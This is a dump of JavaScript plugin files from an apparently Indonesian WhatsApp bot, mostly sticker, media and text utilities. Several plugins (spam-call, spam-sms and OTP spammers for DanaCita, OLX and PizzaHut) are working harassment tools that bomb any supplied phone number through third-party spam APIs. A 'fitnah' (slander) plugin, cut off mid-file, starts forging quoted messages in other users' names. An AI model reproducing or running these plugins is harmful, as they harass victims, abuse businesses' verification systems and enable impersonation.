-------------------------------------------------------------------------------- /plugins/sound-toptt.js: -------------------------------------------------------------------------------- 1 | const { toPTT } = require('../system/lib/converter') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | 4 | let handler = async (m, { conn, usedPrefix, command }) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (m.quoted ? m.quoted : m.msg).mimetype || '' 7 | if (!/video|audio/.test(mime)) throw `Balas audio yang ingin diubah ke voice note dengan caption *${usedPrefix + command}*` 8 | let media = await q.download() 9 | let audio = await toPTT(media, 'mp4') 10 | conn.sendMessage(m.chat, audio, MessageType.audio, { 11 | quoted: m, 12 | ptt: true 13 | }) 14 | } 15 | handler.help = ['tovn'] 16 | handler.tags = ['sound'] 17 | 18 | handler.command = /^to(vn|(ptt)?)$/i 19 | 20 | module.exports = handler 21 | -------------------------------------------------------------------------------- /plugins/spam-call.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Silahkan masukan Nomor Telpon untuk di SpamCall!\n\nMisal : !spamcall 1234567890', m) 5 | 6 | axios.get(`https://tobz-api.herokuapp.com/api/spamcall?no=${text}&apikey=BotWeA`).then ((res) => { 7 | let hasil = `${res.data.logs}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['spamcall'].map(v => v + ' ') 13 | handler.tags = ['spam'] 14 | handler.command = /^(spamcall)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = true 27 | 28 | module.exports = handler 29 | -------------------------------------------------------------------------------- /plugins/spam-danacinta.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Masukan Nomor Telepon yang akan dispam OTP DanaCinta', m) 6 | 7 | axios.get(`https://api.xteam.xyz/spammer/danacita?no=${text}&APIKEY=MIMINETBOT`).then ((res) => { 8 | let hasil = `${res.data.result}` 9 | 10 | conn.reply(m.chat, hasil, m) 11 | }) 12 | } 13 | handler.help = ['danacinta'].map(v => v + ' ') 14 | handler.tags = ['spam'] 15 | handler.command = /^(danacinta)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.exp = 0 27 | handler.limit = true 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/spam-olx.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Masukan Nomor Telepon yang akan dispam OTP OLX', m) 6 | 7 | axios.get(`https://xteam.xyz/spammer/olx?no=${text}&APIKEY=&APIKEY=MIMINETBOT`).then ((res) => { 8 | let hasil = `${res.data.result}` 9 | 10 | conn.reply(m.chat, hasil, m) 11 | }) 12 | } 13 | handler.help = ['olx'].map(v => v + ' ') 14 | handler.tags = ['spam'] 15 | handler.command = /^(olx)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.exp = 0 27 | handler.limit = true 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/spam-pizzahut.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Masukan Nomor Telepon yang akan dispam OTP PizzaHut', m) 6 | 7 | axios.get(`https://api.xteam.xyz/spammer/pizzahut?no=${text}&APIKEY=MIMINETBOT`).then ((res) => { 8 | let hasil = `${res.data.result}` 9 | 10 | conn.reply(m.chat, hasil, m) 11 | }) 12 | } 13 | handler.help = ['pizzahut'].map(v => v + ' ') 14 | handler.tags = ['spam'] 15 | handler.command = /^(pizzahut)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.exp = 0 27 | handler.limit = true 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/spam-sms.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Masukan No Telpon yang akan di SpamSms!\n\nMisal : !spamsms 123457890', m) 5 | 6 | axios.get(`https://arugaz.herokuapp.com/api/spamsms?no=${text}&jum=20`).then ((res) => { 7 | let hasil = `${res.data.logs}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['spamsms'].map(v => v + ' ') 13 | handler.tags = ['spam'] 14 | handler.command = /^(spamsms)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = true 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/sticker-attp.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | if (text) conn.sendFile(m.chat, global.API('xteam', '/attp', { file: '', text }), 'attp.webp', '', m, false, { asSticker: true }) 7 | else throw 'Uhm...Teksnya?' 8 | } 9 | handler.help = ['attp '] 10 | handler.tags = ['sticker'] 11 | handler.command = /^attp$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = false 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | -------------------------------------------------------------------------------- /plugins/sticker-coffe.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | //plugin by Samu330 3 | 4 | let handler = async (m, { conn, text }) => { 5 | //let text = args.join` ` 6 | if (!text) return conn.reply(m.chat, 'Tidak ada teks untuk membuat logo', m) 7 | let url = 'https://bsbt-api-rest.herokuapp.com/api/photooxy/coffe-cup?apikey=benniismael&text=' + encodeURIComponent(text) 8 | 9 | conn.sendFile(m.chat, url, m) 10 | 11 | } 12 | handler.help = ['coffe'] 13 | handler.tags = ['sticker'] 14 | handler.command = /^coffe?$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | 26 | module.exports = handler 27 | -------------------------------------------------------------------------------- /plugins/sticker-crismes.js: -------------------------------------------------------------------------------- 1 | let limit = 10 2 | let handler = async(m, { conn, text }) => { 3 | if (!text) return conn.reply(m.chat, 'Masukkan text yang Anda inginkan', m) 4 | if (text > 10) return conn.reply(m.chat, '*Text terlalu panjang sayang!*\n_Maksimal 10 huruf!_', m) 5 | let link = 'https://api.zeks.xyz/api/crismes?text=' + text + '&apikey=apivinz' 6 | conn.sendFile(m.chat, link, 'BOTSTYLE.png', global.botname, m) 7 | } 8 | handler.help = ['crismes '] 9 | handler.tags = ['sticker'] 10 | handler.command = /^(3d|crismes)$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.register = true 15 | handler.fail = null 16 | 17 | handler.limit = true 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/sticker-cry.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | const { sticker } = require('../system/lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn}) => { 6 | try { 7 | let res = await fetch('https://tobz-api.herokuapp.com/api/cry?apikey=Tobzzz17') 8 | let json = await res.json() 9 | let { 10 | result 11 | } = json 12 | let stiker = await sticker(null, result, 'Cry', mess.wm) 13 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 14 | quoted: m 15 | }) 16 | } catch (e) { 17 | } 18 | } 19 | handler.help = ['cry'] 20 | handler.tags = ['sticker'] 21 | handler.command = /^cry/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/sticker-getexif.js: -------------------------------------------------------------------------------- 1 | let webp = require('node-webpmux') 2 | let util = require('util') 3 | 4 | let handler = async (m) => { 5 | if (!m.quoted) return conn.reply(m.chat, 'Tag stikernya!', m) 6 | let q = { message: { [m.quoted.mtype]: m.quoted } } 7 | if (/sticker/.test(m.quoted.mtype)) { 8 | let img = new webp.Image() 9 | await img.loadBuffer(await m.quoted.download()) 10 | m.reply(util.format(JSON.parse(img.exif.slice(22).toString()))) 11 | } 12 | } 13 | handler.help = ['getexif'] 14 | handler.tags = ['sticker'] 15 | 16 | handler.command = ['getexif'] 17 | 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/sticker-helloween.js: -------------------------------------------------------------------------------- 1 | let limit = 10 2 | let handler = async(m, { conn, text }) => { 3 | if (!text) return conn.reply(m.chat, 'Masukkan text yang Anda inginkan', m) 4 | if (text > 10) return conn.reply(m.chat, '*Text terlalu panjang sayang!*\n_Maksimal 10 huruf!_', m) 5 | let link = 'https://bsbt-api-rest.herokuapp.com/api/textpro/helloween?text=' + text + '&apikey=benniismael' 6 | conn.sendFile(m.chat, link, 'BOTSTYLE.png', global.botname, m) 7 | } 8 | handler.help = ['helloween '] 9 | handler.tags = ['sticker'] 10 | handler.command = /^(helloween)$/i 11 | handler.owner = false 12 | handler.mods = false 13 | handler.premium = false 14 | handler.register = true 15 | handler.fail = null 16 | 17 | handler.limit = true 18 | module.exports = handler 19 | -------------------------------------------------------------------------------- /plugins/sticker-kiss.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | const { sticker } = require('../system/lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn }) => { 6 | try { 7 | let res = await fetch('https://tobz-api.herokuapp.com/api/kiss?apikey=Tobzzz17') 8 | let json = await res.json() 9 | let { 10 | result 11 | } = json 12 | let stiker = await sticker(null, result, 'Kiss', mess.wm) 13 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 14 | quoted: m 15 | }) 16 | } catch (e) { 17 | } 18 | } 19 | handler.help = ['kiss'] 20 | handler.tags = ['sticker'] 21 | handler.command = /^kiss/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/sticker-poly.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | const { sticker } = require('../system/lib/sticker') 5 | 6 | let handler = async (m, { conn, text }) => { 7 | pp = `https://xteam.xyz/videomaker/poly?text=${text}&APIKEY=${Apikey}` 8 | await sticker(false, pp, 'Poly Text', global.botname).then(gege => { 9 | conn.sendMessage(m.chat, gege, 'stickerMessage', { quoted: m }) 10 | }) 11 | if (!text) throw 'Teksnya.. mana sayang?' 12 | } 13 | handler.help = ['poly '] 14 | handler.tags = ['sticker'] 15 | handler.command = /^sleding$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/sticker-punch.js: -------------------------------------------------------------------------------- 1 | let fetch = require("node-fetch") 2 | const { sticker } = require('../system/lib/sticker') 3 | const { MessageType } = require('@adiwajshing/baileys') 4 | 5 | let handler = async (m, { conn}) => { 6 | try { 7 | let res = await fetch('https://neko-love.xyz/api/v1/punch') 8 | let json = await res.json() 9 | let { 10 | url 11 | } = json 12 | let stiker = await sticker(null, url, 'Punch', mess.wm) 13 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 14 | quoted: m 15 | }) 16 | } catch (e) { 17 | } 18 | } 19 | handler.help = ['punch'] 20 | handler.tags = ['sticker'] 21 | handler.command = /^punch/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/sticker-quotemaker.js: -------------------------------------------------------------------------------- 1 | let util = require('util') 2 | let path = require('path') 3 | let { spawn } = require('child_process') 4 | 5 | let handler = async (m, { conn, text }) => { 6 | let d = new Date 7 | let tgl = d.toLocaleDateString('id-Id') 8 | let hari = d.toLocaleDateString('id-Id', { weekday: 'long' }) 9 | let [teks, wm] = text.split('|') 10 | await conn.sendFile(m.chat, global.API('xteam', '/quotemaker', { text, wm: conn.getName(m.sender) }, 'APIKEY'), 'nulis.jpg', mess.sukses, m) 11 | } 12 | handler.help = ['quote'].map(v => v + 'maker (tulisan)|(name)') 13 | handler.tags = ['sticker'] 14 | handler.command = /^quotemaker$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.register = true 26 | 27 | module.exports = handler 28 | -------------------------------------------------------------------------------- /plugins/sticker-realisticcloud.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | //plugin by Samu330 3 | 4 | let handler = async (m, { conn, text }) => { 5 | //let text = args.join` ` 6 | if (!text) return conn.reply(m.chat, 'Tidak ada teks untuk membuat logo', m) 7 | let url = 'https://api.xteam.xyz/textpro/realisticcloud?text=${text}&APIKEY=HIRO' 8 | 9 | conn.sendFile(m.chat, url, m) 10 | 11 | } 12 | handler.help = ['realisticcloud'] 13 | handler.tags = ['sticker'] 14 | handler.command = /^(realisticcloud)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = true 27 | 28 | module.exports = handler 29 | 30 | -------------------------------------------------------------------------------- /plugins/sticker-sandw.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ') 4 | if (!args) throw 'Masukkan Parameter' 5 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 6 | externalAdReply: { 7 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 8 | title: ext.title, 9 | body: ext.body, 10 | thumbnail: await(await fetch(ext.thum)).buffer() 11 | } 12 | } 13 | } 14 | ) 15 | let res = `https://api.zeks.xyz/api/sandw?apikey=apivinz&text=${response}` 16 | conn.sendFile(m.chat, res, 'sandw.jpg', mess.sukses, m, false) 17 | } 18 | handler.help = ['sandw'].map(v => v + ' ') 19 | handler.tags = ['sticker'] 20 | handler.command = /^(sandw)$/i 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/sticker-telestick.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let { Presence } = require('@adiwajshing/baileys') 3 | let { sticker } = require('../system/lib/sticker') 4 | let handler = async (m, { text }) => { 5 | if (!text) throw 'Tidak Ada Url' 6 | 7 | let res = await fetch(`https://api.lolhuman.xyz/api/telestick?apikey=ohayou&url=${encodeURI(text)}`) 8 | let json = await res.json() 9 | if (json.result) { 10 | for (let i of json.result.sticker) { 11 | await conn.sendFile(m.chat, await sticker(false, i, packname, author), ':v', '', m) 12 | } 13 | } else json 14 | } 15 | handler.help = ['telestick'].map(v => v + ' ') 16 | handler.tags = ['sticker'] 17 | handler.private = true 18 | handler.command = /^telestick$/i 19 | 20 | module.exports = handler -------------------------------------------------------------------------------- /plugins/sticker-text3d.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ') 4 | if (!args) throw 'Masukkan Parameter' 5 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 6 | externalAdReply: { 7 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 8 | title: ext.title, 9 | body: ext.body, 10 | thumbnail: await(await fetch(ext.thum)).buffer() 11 | } 12 | } 13 | } 14 | ) 15 | let res = `https://api.zeks.xyz/api/text3dbox?apikey=apivinz&text=${response}` 16 | conn.sendFile(m.chat, res, 'text3d.jpg', mess.sukses, m, false) 17 | } 18 | handler.help = ['text3d'].map(v => v + ' ') 19 | handler.tags = ['sticker'] 20 | handler.command = /^(text3d)$/i 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/sticker-togif.js: -------------------------------------------------------------------------------- 1 | let { webp2mp4 } = require('../system/lib/webp2mp4') 2 | let handler = async (m, { conn, usedPrefix, command }) => { 3 | if (!m.quoted) throw `balas stiker dengan caption *${usedPrefix + command}*` 4 | let mime = m.quoted.mimetype || '' 5 | if (!/webp/.test(mime)) throw `balas stiker dengan caption *${usedPrefix + command}*` 6 | let media = await m.quoted.download() 7 | let out = Buffer.alloc(0) 8 | if (/webp/.test(mime)) { 9 | out = await webp2mp4(media) 10 | } 11 | await conn.sendFile(m.chat, out, 'out.gif', wm, m, false, { mimetype: 'video/gif', thumbnail: Buffer.alloc(0) }) 12 | } 13 | handler.help = ['togif (reply)'] 14 | handler.tags = ['sticker'] 15 | handler.command = ['togif'] 16 | 17 | module.exports = handler 18 | 19 | let wm = global.botwm 20 | -------------------------------------------------------------------------------- /plugins/sticker-trigger.js: -------------------------------------------------------------------------------- 1 | const { sticker } = require('../system/lib/sticker') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | let handler = async (m, { conn }) => { 4 | let who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 5 | let marah = global.API('https://some-random-api.ml', '/canvas/triggered', { 6 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 7 | }) 8 | let stiker = await sticker(null, marah, global.packname, global.author) 9 | if (stiker) return conn.sendMessage(m.chat, stiker, MessageType.sticker, { 10 | quoted: m 11 | }) 12 | throw stiker.toString() 13 | } 14 | 15 | 16 | handler.help = ['trigger'] 17 | handler.tags = ['sticker'] 18 | 19 | handler.command = /^(trigger)$/i 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/sticker-triggered.js: -------------------------------------------------------------------------------- 1 | const { sticker } = require('../system/lib/sticker') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | let handler = async (m, { conn }) => { 4 | let who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender 5 | let marah = global.API('https://some-random-api.ml', '/canvas/triggered', { 6 | avatar: await conn.getProfilePicture(who).catch(_ => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'), 7 | }) 8 | let stiker = await sticker(null, marah, global.packname, global.author) 9 | if (stiker) return conn.sendMessage(m.chat, stiker, MessageType.sticker, { 10 | quoted: m 11 | }) 12 | throw stiker.toString() 13 | } 14 | 15 | 16 | handler.help = ['trigger'] 17 | handler.tags = ['sticker'] 18 | 19 | handler.command = /^(trigger)$/i 20 | 21 | module.exports = handler 22 | -------------------------------------------------------------------------------- /plugins/sticker-ttp.js: -------------------------------------------------------------------------------- 1 | const { sticker } = require('../system/lib/sticker') 2 | const { MessageType } = require('@adiwajshing/baileys') 3 | 4 | let handler = async (m, { conn, text }) => { 5 | if (!text) throw 'Tidak ada teks?' 6 | let stiker = await sticker(null, global.API('xteam', '/ttp', { file: '', text }), global.packname, global.author) 7 | conn.sendMessage(m.chat, stiker, MessageType.sticker, { 8 | quoted: m 9 | }) 10 | } 11 | handler.help = ['ttp '] 12 | handler.tags = ['sticker'] 13 | handler.command = /^ttp$/i 14 | handler.owner = false 15 | handler.mods = false 16 | handler.premium = false 17 | handler.group = false 18 | handler.private = false 19 | 20 | handler.admin = false 21 | handler.botAdmin = false 22 | 23 | handler.fail = null 24 | 25 | module.exports = handler 26 | -------------------------------------------------------------------------------- /plugins/sticker-water1.js: -------------------------------------------------------------------------------- 1 | let fetch = require('node-fetch') 2 | let handler = async (m, { conn, args }) => { 3 | response = args.join(' ') 4 | if (!args) throw 'Masukkan Parameter' 5 | await conn.reply(m.chat, mess.wait, 0, { thumbnail: await(await fetch(ext.thum)).buffer(), contextInfo: { 6 | externalAdReply: { 7 | mediaUrl: 'https://youtu.be/-tKVN2mAKRI', 8 | title: ext.title, 9 | body: ext.body, 10 | thumbnail: await(await fetch(ext.thum)).buffer() 11 | } 12 | } 13 | } 14 | ) 15 | let res = `https://api.zeks.xyz/api/water?apikey=apivinz&text=${response}` 16 | conn.sendFile(m.chat, res, 'water.jpg', mess.sukses, m, true) 17 | } 18 | handler.help = ['water'].map(v => v + ' ') 19 | handler.tags = ['sticker'] 20 | handler.command = /^(water)$/i 21 | 22 | module.exports = handler 23 | 24 | -------------------------------------------------------------------------------- /plugins/sticker-wm.js: -------------------------------------------------------------------------------- 1 | const { MessageType } = require('@adiwajshing/baileys') 2 | const { sticker } = require('../system/lib/sticker') 3 | let handler = async (m, { conn, text }) => { 4 | let stiker = false 5 | try { 6 | let [packname, ...author] = text.split('|') 7 | author = (author || []).join('|') 8 | let mime = m.quoted.mimetype || '' 9 | if (!/webp/.test(mime)) throw 'Reply sticker!' 10 | let img = await m.quoted.download() 11 | stiker = await sticker(img, false, packname || global.packname, author || global.author) 12 | } finally { 13 | if (stiker) conn.sendMessage(m.chat, stiker, MessageType.sticker, { 14 | quoted: m 15 | }) 16 | else throw 'Conversion failed' 17 | } 18 | } 19 | handler.help = ['wm |'] 20 | handler.tags = ['sticker'] 21 | handler.command = /^wm$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/sticker1.js: -------------------------------------------------------------------------------- 1 | let fs = require('fs') 2 | let handler = async (m) => { 3 | let stc = fs.readFileSync('./sticker/Enggak.webp') 4 | conn.fakeReply(m.chat, stc, '0@s.whatsapp.net', '*ENGGAK*', 'status@broadcast') 5 | } 6 | 7 | handler.customPrefix = /^(mau)$/i 8 | handler.command = new RegExp 9 | 10 | module.exports = handler -------------------------------------------------------------------------------- /plugins/system-TQTO2.js: -------------------------------------------------------------------------------- 1 | //di ilangin jangan,di tambahin boleh 2 | let handler = async (m, { conn, text }) => { 3 | conn.reply(m.chat, ` 4 | *Pertanyaan:* ${m.text} 5 | *Jawaban:* Tidak mungkin 6 | `.trim(), m) 7 | } 8 | handler.help = ['Xteam','Zeks'] 9 | handler.tags = ['thnks'] 10 | handler.customPrefix = /(\?$)/ 11 | handler.command = /^zevanojelek$/i 12 | handler.owner = false 13 | handler.mods = false 14 | handler.premium = true 15 | handler.group = false 16 | handler.private = false 17 | 18 | handler.admin = false 19 | handler.botAdmin = false 20 | 21 | handler.fail = null 22 | 23 | module.exports = handler 24 | 25 | function pickRandom(list) { 26 | return list[Math.floor(Math.random() * list.length)] 27 | } 28 | //jgn di ilagin cok 29 | -------------------------------------------------------------------------------- /plugins/system-up.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | Pesanan Sedang Diproses, Silahkan Kirim SS Bukti Transfer 4 | `.trim() 5 | 6 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*APA*', 'status@broadcast') 7 | } 8 | handler.customPrefix = /^(UP)$/i 9 | handler.command = new RegExp 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/system-wet.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, usedPrefix: _p }) => { 2 | let info = ` 3 | Pesanan Sedang Diproses, Silahkan Pilih Menu Pembayaran Untuk Melanjutkan Pembelian 4 | `.trim() 5 | 6 | conn.fakeReply(m.chat, info, '0@s.whatsapp.net', '*APA*', 'status@broadcast') 7 | } 8 | handler.customPrefix = /^(NEXT)$/i 9 | handler.command = new RegExp 10 | 11 | module.exports = handler 12 | -------------------------------------------------------------------------------- /plugins/tools-base64.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { command, text }) => { 2 | let txt = m.quoted ? m.quoted.text ? m.quoted.text : text ? text : m.text : m.text 3 | m.reply(Buffer.from(txt, 'utf-8').toString('base64')) 4 | } 5 | handler.help = ['base64'] 6 | handler.tags = ['tools'] 7 | handler.command = /^base64$/i 8 | 9 | module.exports = handler 10 | -------------------------------------------------------------------------------- /plugins/tools-binary.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | 3 | let handler = async(m, { conn, text }) => { 4 | 5 | if (!text) return conn.reply(m.chat, 'Masukan Teksnya', m) 6 | 7 | axios.get(`https://some-random-api.ml/binary?text=${text}`).then ((res) => { 8 | let hasil = `Teks : ${text}\nBinary : ${res.data.binary}` 9 | 10 | conn.reply(m.chat, hasil, m) 11 | }) 12 | } 13 | handler.help = ['binary'].map(v => v + ' ') 14 | handler.tags = ['tools'] 15 | handler.command = /^(binary)$/i 16 | handler.owner = false 17 | handler.mods = false 18 | handler.premium = false 19 | handler.group = false 20 | handler.private = false 21 | 22 | handler.admin = false 23 | handler.botAdmin = false 24 | 25 | handler.fail = null 26 | handler.exp = 0 27 | handler.limit = false 28 | 29 | module.exports = handler 30 | -------------------------------------------------------------------------------- /plugins/tools-delete.js: -------------------------------------------------------------------------------- 1 | let handler = function (m) { 2 | if (!m.quoted) throw 'Reply pesan bot!' 3 | let { fromMe, id, isBaileys } = m.quoted 4 | if (!fromMe) throw 'Hanya bisa menghapus pesan dariku' 5 | if (!isBaileys) throw 'Pesan tersebut bukan dikirim oleh bot!' 6 | this.deleteMessage(m.chat, { 7 | fromMe, 8 | id, 9 | remoteJid: m.chat 10 | }) 11 | } 12 | handler.help = ['del', 'delete'] 13 | handler.tags = ['tools'] 14 | 15 | handler.command = /^del(ete)?$/i 16 | 17 | module.exports = handler 18 | -------------------------------------------------------------------------------- /plugins/tools-enhance.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch') 2 | const FormData = require('form-data') 3 | 4 | let handler = async (m) => { 5 | let q = m.quoted ? m.quoted : m 6 | let mime = (q.msg || q).mimetype || '' 7 | if (!mime) throw 'Tidak ada foto' 8 | if (!/image\/(jpe?g|png)/.test(mime)) throw `Mime ${mime} tidak support` 9 | let img = await q.download() 10 | let body = new FormData 11 | body.append('image', img, 'image') 12 | let res = await fetch('http://max-image-resolution-enhancer.codait-prod-41208c73af8fca213512856c7a09db52-0000.us-east.containers.appdomain.cloud/model/predict', { 13 | method: 'POST', 14 | body 15 | }) 16 | if (res.status !== 200) throw await res.json() 17 | await conn.sendFile(m.chat, await res.buffer(), 'hd.jpg', mess.sukses, m) 18 | } 19 | handler.help = ['hd (caption|reply media)', 'enhance (caption|reply media)'] 20 | handler.tags = ['tools'] 21 | handler.command = /^(hd|enhance)$/i 22 | 23 | module.exports = handler 24 | -------------------------------------------------------------------------------- /plugins/tools-filmanime.js: -------------------------------------------------------------------------------- 1 | let axios = require("axios"); 2 | let handler = async(m, { conn, text }) => { 3 | 4 | if (!text) return conn.reply(m.chat, 'Harap Masukan Nama Film Animenya', m) 5 | 6 | axios.get(`https://arugaz.herokuapp.com/api/sdmovie?film=${text}`).then ((res) => { 7 | let hasil = `*Film Anime ${text}*\n\nJudul : ${res.data.result.title}\nRating : ${res.data.result.rating}\nInfo : ${res.data.result.sinopsis}\nLink Video : ${res.data.result.video}` 8 | 9 | conn.reply(m.chat, hasil, m) 10 | }) 11 | } 12 | handler.help = ['filmanime'].map(v => v + ' ') 13 | handler.tags = ['tools'] 14 | handler.command = /^(filmanime)$/i 15 | handler.owner = false 16 | handler.mods = false 17 | handler.premium = false 18 | handler.group = false 19 | handler.private = false 20 | 21 | handler.admin = false 22 | handler.botAdmin = false 23 | 24 | handler.fail = null 25 | handler.exp = 0 26 | handler.limit = true 27 | 28 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-findpesan.js: -------------------------------------------------------------------------------- 1 | let handler = async (m, { conn, text }) => { 2 | if (!text) throw 'masukan pesan yg mo dicari!' 3 | let split = text.split`|` 4 | let result = await conn.searchMessages(split[0], m.chat, split[1], 1) 5 | if (result.messages.length > 0) { 6 | let total = result.messages.length 7 | let sp = total < Number(split[1]) ? `Hanya ditemukan ${total} pesan ngab` : `Ditemukan ${total} pesan` 8 | m.reply(sp) 9 | 10 | result.messages.map( async ({ key }) => { 11 | let { remoteJid: _remoteJid, id: _ids } = key 12 | let _message = await conn.loadMessage(_remoteJid, _ids) 13 | conn.reply(m.chat, 'Nih pesannya', _message) 14 | }) 15 | } 16 | } 17 | 18 | handler.help = ['caripesan |'] 19 | handler.tags = ['tools'] 20 | 21 | handler.command = /^caripesan/i 22 | 23 | module.exports = handler -------------------------------------------------------------------------------- /plugins/tools-fitnah.js: -------------------------------------------------------------------------------- 1 | let { MessageType } = require('@adiwajshing/baileys') 2 | let handler = async (m, { conn, text }) => { 3 | if (!text) return 4 | let cm = copy(m) 5 | let who 6 | if (text.includes('@0')) who = '0@s.whatsapp.net' 7 | else if (m.isGroup) who = cm.participant = m.mentionedJid[0] 8 | else who = m.chat 9 | if (!who) throw 'Tag salah satu lah' 10 | cm.key.fromMe = false 11 | cm.message[m.mtype] = copy(m.msg) 12 | let sp = '@' + who.split`@`[0] 13 | let [fake, ...real] = 